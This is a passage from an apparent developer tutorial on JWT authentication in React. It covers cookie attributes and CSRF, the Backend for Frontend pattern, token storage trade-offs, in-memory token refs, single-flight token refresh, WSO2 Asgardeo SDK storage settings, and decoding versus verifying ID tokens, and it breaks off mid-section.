<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/</span><br></span></code></pre></div></div>
<p>The browser stores the cookie and automatically includes it in matching requests.</p>
<p>Your React application doesn't need to read the cookie value.</p>
<p>Because cookies are sent automatically, the application must account for CSRF.</p>
<p>The <code>SameSite</code> attribute determines when the browser sends a cookie in cross-site contexts.</p>
<ul>
<li class=""><code>SameSite=Strict</code> generally prevents cookies from being included in requests or navigations initiated from another site. This offers stronger CSRF protection but can interfere with legitimate cross-site interactions.</li>
<li class=""><code>SameSite=Lax</code> permits cookies on certain top-level cross-site navigations using safe HTTP methods, while restricting many cross-site requests commonly used in CSRF attacks.</li>
<li class=""><code>SameSite=None</code> permits cookies in cross-site contexts and requires the <code>Secure</code> attribute. Applications using this setting need appropriate CSRF protections.</li>
</ul>
<p>The cookie attributes control different behavior:</p>
<ul>
<li class=""><code>HttpOnly</code> prevents JavaScript from reading the cookie value directly.</li>
<li class=""><code>SameSite</code> controls when cookies are sent in cross-site contexts.</li>
<li class=""><code>Secure</code> restricts cookies to secure connections, generally HTTPS, with browser-specific exceptions for localhost.</li>
</ul>
<p>SameSite can reduce CSRF exposure, but it shouldn't be treated as the application's only CSRF defense.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="moving-the-token-off-the-browser-entirely">Moving the token off the browser entirely<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#moving-the-token-off-the-browser-entirely" class="hash-link" aria-label="Direct link to Moving the token off the browser entirely" title="Direct link to Moving the token off the browser entirely" translate="no">​</a></h3>
<p>If your React application has a backend, it can keep OAuth tokens on the server instead of storing them in the browser.</p>
<p>One approach is a <strong>Backend for Frontend (BFF)</strong>.</p>
<p>With a BFF, the backend stores the access and refresh tokens. The browser receives a session cookie representing its authenticated session with the application.</p>
<p>When React needs to call an API, it sends the request to the BFF:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">API calls go through the BFF</figcaption><ol class="steps_ptmz" aria-label="API calls go through the BFF"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Browser</span><span class="text_K99R">React app sends the session cookie</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">BFF</span><span class="text_K99R">Attaches the access token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">API</span></div></li></ol></figure>
<p>The BFF attaches the access token when forwarding the request to the downstream API.</p>
<p>The React application doesn't need to read or store the OAuth tokens.</p>
<p>This prevents malicious JavaScript from directly extracting those tokens from browser storage or application memory for use elsewhere.</p>
<p>The browser still holds a session credential, and its security requirements remain.</p>
<p>For example, malicious JavaScript can still make authenticated requests through the BFF while the user is signed in. Cookie-based sessions also need CSRF protection.</p>
<p>A BFF keeps OAuth credentials on the server, but it doesn't eliminate browser security risks.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-recommendation-and-when-it-does-not-apply">The recommendation, and when it does not apply<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#the-recommendation-and-when-it-does-not-apply" class="hash-link" aria-label="Direct link to The recommendation, and when it does not apply" title="Direct link to The recommendation, and when it does not apply" translate="no">​</a></h2>
<p>If your React application has a backend, keeping OAuth tokens there can reduce their exposure to browser JavaScript.</p>
<p>A <strong>Backend for Frontend (BFF)</strong> is one way to implement that separation.</p>
<p>For applications handling sensitive operations, such as banking, healthcare, or administrative systems, this architecture may be preferable to storing bearer tokens in the browser.</p>
<p>Not every React application has a backend, though.</p>
<p>For a browser-only SPA, the storage decision depends on how long authentication state needs to persist and which risks the application can accept.</p>
<ul>
<li class=""><strong>In-memory storage</strong> avoids persistent browser storage. It's suitable when minimizing token persistence is more important than restoring authentication state after every reload.</li>
<li class=""><strong>sessionStorage</strong> allows the application to retain authentication state across reloads within the same tab. It offers shorter persistence than localStorage but remains accessible to JavaScript.</li>
<li class=""><strong>localStorage</strong> retains authentication state across browser restarts. This may satisfy a usability requirement, but it also extends the period during which a bearer token can be extracted through XSS.</li>
</ul>
<p>An HttpOnly cookie isn't another browser storage option a React SPA can select through JavaScript. It requires server-side support, which changes the application architecture.</p>
<p>There isn't one storage mechanism that fits every React application.</p>
<p>When choosing a storage approach, consider whether the application has a backend, how long authentication state should persist, and what an attacker could do if JavaScript executing in the page were compromised.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="implementing-it-in-react">Implementing it in React<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#implementing-it-in-react" class="hash-link" aria-label="Direct link to Implementing it in React" title="Direct link to Implementing it in React" translate="no">​</a></h2>
<p>Let's look at how these choices translate into React code.</p>
<p>The first two examples demonstrate token handling when the application manages the token lifecycle itself. If you're using an authentication SDK, it's generally better to let the SDK manage token storage and refresh rather than implement a separate mechanism.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="holding-the-access-token-without-re-rendering-the-tree">Holding the access token without re-rendering the tree<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#holding-the-access-token-without-re-rendering-the-tree" class="hash-link" aria-label="Direct link to Holding the access token without re-rendering the tree" title="Direct link to Holding the access token without re-rendering the tree" translate="no">​</a></h3>
<p>If you're storing access tokens in memory, they need to be accessible to the code responsible for making API requests.</p>
<p>React state is one option, but a token isn't necessarily display state. Updating it doesn't need to trigger a component re-render.</p>
<p>A ref can hold the token without writing it to browser storage:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> createContext</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> useContext</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> useRef </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">TokenContext</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createContext</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">TokenProvider</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter punctuation" style="color:#5A6072">{</span><span class="token parameter" style="color:#1F4FFF"> children </span><span class="token parameter punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> accessToken </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useRef</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tokenStore </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useRef</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">get</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> accessToken</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">current</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">set</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter" style="color:#1F4FFF">token</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      accessToken</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">current</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> token</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">clear</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      accessToken</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">current</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">TokenContext.Provider</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">value</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">tokenStore</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">.</span><span class="token tag script language-javascript property-access" style="color:#1F4FFF">current</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">children</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">TokenContext.Provider</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">useTokenStore</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useContext</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">TokenContext</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The token remains in the current JavaScript execution context.</p>
<p><code>accessToken</code> holds the token value, while <code>tokenStore</code> exposes a stable <code>get</code>, <code>set</code>, and <code>clear</code> interface through React Context.</p>
<p>Updating <code>accessToken.current</code> doesn't trigger a re-render because refs don't participate in React's state update mechanism.</p>
<p>The token is lost when the page reloads. The application must then reacquire it or restore authentication state through an appropriate flow.</p>
<p>This example only shows how to hold a token in memory. Obtaining, refreshing, and using the token securely still need to be handled by the application's authentication layer.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refreshing-on-401-without-a-request-storm">Refreshing on 401 without a request storm<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#refreshing-on-401-without-a-request-storm" class="hash-link" aria-label="Direct link to Refreshing on 401 without a request storm" title="Direct link to Refreshing on 401 without a request storm" translate="no">​</a></h3>
<p>Access tokens expire.</p>
<p>Suppose your React application makes several API requests at the same time, just after its access token expires.</p>
<p>All of them may receive <code>401 Unauthorized</code>.</p>
<p>If each failed request starts its own refresh, the application can end up with several refresh requests running simultaneously:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Every failed request starts its own refresh</figcaption><ol class="steps_ptmz" aria-label="Every failed request starts its own refresh"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Sent together</span><span class="text_K99R">Request 1, Request 2, Request 3</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R code_IywH">401, 401, 401</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R">Three refresh requests run at once</span></div></li></ol></figure>
<p>This can cause problems when refresh token rotation is enabled.</p>
<p>A successful refresh may replace the previous refresh token. Another concurrent request attempting to use the old refresh token can then fail.</p>
<p>One approach is to allow only one refresh operation at a time.</p>
<p>Assume <code>refreshAccessToken()</code> performs the refresh and returns a new access token:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">let</span><span class="token plain"> refreshInFlight </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">getFreshAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">refreshInFlight</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    refreshInFlight </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">refreshAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token keyword control-flow" style="color:#1F4FFF">finally</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      refreshInFlight </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> refreshInFlight</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The first request starts the refresh operation.</p>
<p>Other requests that need a fresh access token receive the same pending promise.</p>
<p>Once the refresh completes or fails, <code>.finally()</code> clears <code>refreshInFlight</code>, allowing another refresh attempt when needed.</p>
<p>The failed API requests must still wait for the refresh result and retry when appropriate. Retrying a request also requires considering whether the operation is safe to repeat.</p>
<p>This pattern coordinates refresh requests within one JavaScript execution context. It doesn't coordinate multiple browser tabs or separate application instances.</p>
<p>If an authentication SDK already handles refresh coordination, don't introduce another refresh mechanism alongside it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-wso2-react-sdk-does-by-default">What the WSO2 React SDK does by default<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#what-the-wso2-react-sdk-does-by-default" class="hash-link" aria-label="Direct link to What the WSO2 React SDK does by default" title="Direct link to What the WSO2 React SDK does by default" translate="no">​</a></h3>
<p>The WSO2 Identity Platform React SDK supports <a href="https://wso2.com/identity-platform/docs/sdks/react/contexts/asgardeo-provider/#props" target="_blank" rel="noopener noreferrer" class="">three storage options</a>:</p>
<ul>
<li class=""><code>sessionStorage</code></li>
<li class=""><code>localStorage</code></li>
<li class=""><code>webWorker</code></li>
</ul>
<p>By default, the SDK uses <code>sessionStorage</code>.</p>
<p>You can explicitly configure the storage mechanism through <a href="https://wso2.com/identity-platform/docs/sdks/react/contexts/asgardeo-provider/" target="_blank" rel="noopener noreferrer" class=""><code>AsgardeoProvider</code></a>:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">clientId</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">&lt;your-app-client-id&gt;</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">baseUrl</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">https://api.asgardeo.io/t/&lt;your-organization&gt;</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">scopes</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">openid profile</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">storage</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">sessionStorage</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF"></span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">App</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text"></span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><br></span></code></pre></div></div>
<p>With <code>sessionStorage</code>, authentication state survives page reloads within the same tab but is generally removed when the tab's session ends.</p>
<p>The SDK also supports <code>webWorker</code> storage, which keeps authentication state in a separate JavaScript execution context from the React application's main thread.</p>
<p>When using this mechanism, authenticated API requests can be handled through the SDK without directly exposing the access token to application code.</p>
<p>Web Worker storage limits direct token access from the main thread, but doesn't eliminate XSS risks. Malicious JavaScript can still invoke authenticated operations through the application or SDK.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="decoding-versus-verifying">Decoding versus verifying<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#decoding-versus-verifying" class="hash-link" aria-label="Direct link to Decoding versus verifying" title="Direct link to Decoding versus verifying" translate="no">​</a></h2>
<p>A signed JWT can be decoded without much effort.</p>
<p>That allows a React application to read claims from an ID token, but <strong>decoding doesn't validate those claims</strong>.</p>
<p>Anyone can create a JSON object, Base64URL-encode it, and arrange it to look like a JWT.</p>
<p>Decoding and validation are separate operations.</p>
<p>Decoding reads the token's contents. Validation establishes whether the token is acceptable for the application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="reading-claims-from-the-token">Reading claims from the token<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#reading-claims-from-the-token" class="hash-link" aria-label="Direct link to Reading claims from the token" title="Direct link to Reading claims from the token" translate="no">​</a></h3>
<p>Suppose your application decodes an ID token and receives this payload:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"sub"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"user@example.com"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"aud"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"YOUR_CLIENT_ID"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"exp"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1767225600</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The application can read the user's identifier, intended audience, and expiration time.</p>
<p>But decoding has only converted the Base64URL-encoded payload back into readable JSON.</p>
<p>It hasn't established:</p>
<ul>
<li class="">Who issued the token.</li>
<li class="">Whether the signed contents were changed.</li>
<li class="">Whether the token was intended for this application.</li>
<li class="">Whether the token has expired.</li>
</ul>
<p>Those checks require token validation.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="verifying-the-signature">Verifying the signature<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#verifying-the-signature" class="hash-link" aria-label="Direct link to Verifying the signature" title="Direct link to Verifying the signature" translate="no">​</a></h3>
<p>In our RS256 example, the identity provider signs the ID token using its private signing key.</p>
<p>The corresponding public key can be distributed to clients, which use it to verify the signature.</p>
<p>Conceptually, signing works like this:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Signing, at the identity provider</figcaption><ol class="steps_ptmz" aria-label="Signing, at the identity provider"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">header + payload</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Sign with the private key</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Signature</span></div></li></ol></figure>
<p>Verification uses the signed header, payload, and signature:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Verification, at the receiver</figcaption><ol class="steps_ptmz" aria-label="Verification, at the receiver"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">header + payload + signature</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Verify with the public key</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Signature valid, or verification fails</span></div></li></ol></figure>
<p>The public key doesn't generate another signature and compare the two strings.</p>
<p>Instead, the private and public keys are mathematically related. The private key is used for signing, while the public key verifies that the signature corresponds to the signed content.</p>
<p>If someone changes the header or payload after signing, verification fails.</p>
<p>A valid signature alone isn't sufficient to accept an ID token.</p>
<p>The application also needs to validate claims such as:</p>
<ul>
<li class=""><code>iss</code> — whether the expected identity provider issued the token.</li>
<li class=""><code>aud</code> — whether the token was issued for the application.</li>
<li class=""><code>exp</code> — whether the token has expired.</li>
</ul>
<p>Depending on the authentication flow, additional OIDC validation requirements may apply, including checks involving <code>nonce</code> and other audience-related claims.</p>
<p>The application should use a standards-compliant OIDC library or SDK to perform these checks instead of implementing JWT validation manually.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-the-asgardeo-sdk-validates-the-id-token">How the Asgardeo SDK validates the ID token<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#how-the-asgardeo-sdk-validates-the-id-token" class="hash-link" aria-label="Direct link to How the Asgardeo SDK validates the ID token" title="Direct link to How the Asgardeo SDK validates the ID token" translate="no">​</a></h3>
<p>The WSO2 Identity Platform SDK family provides ID-token validation functionality as part of its authentication integration.</p>
<p>For an RS256-signed ID token, validation uses the identity provider's public signing keys and the claims carried by the token.</p>
<p>The process can be represented as:</p>
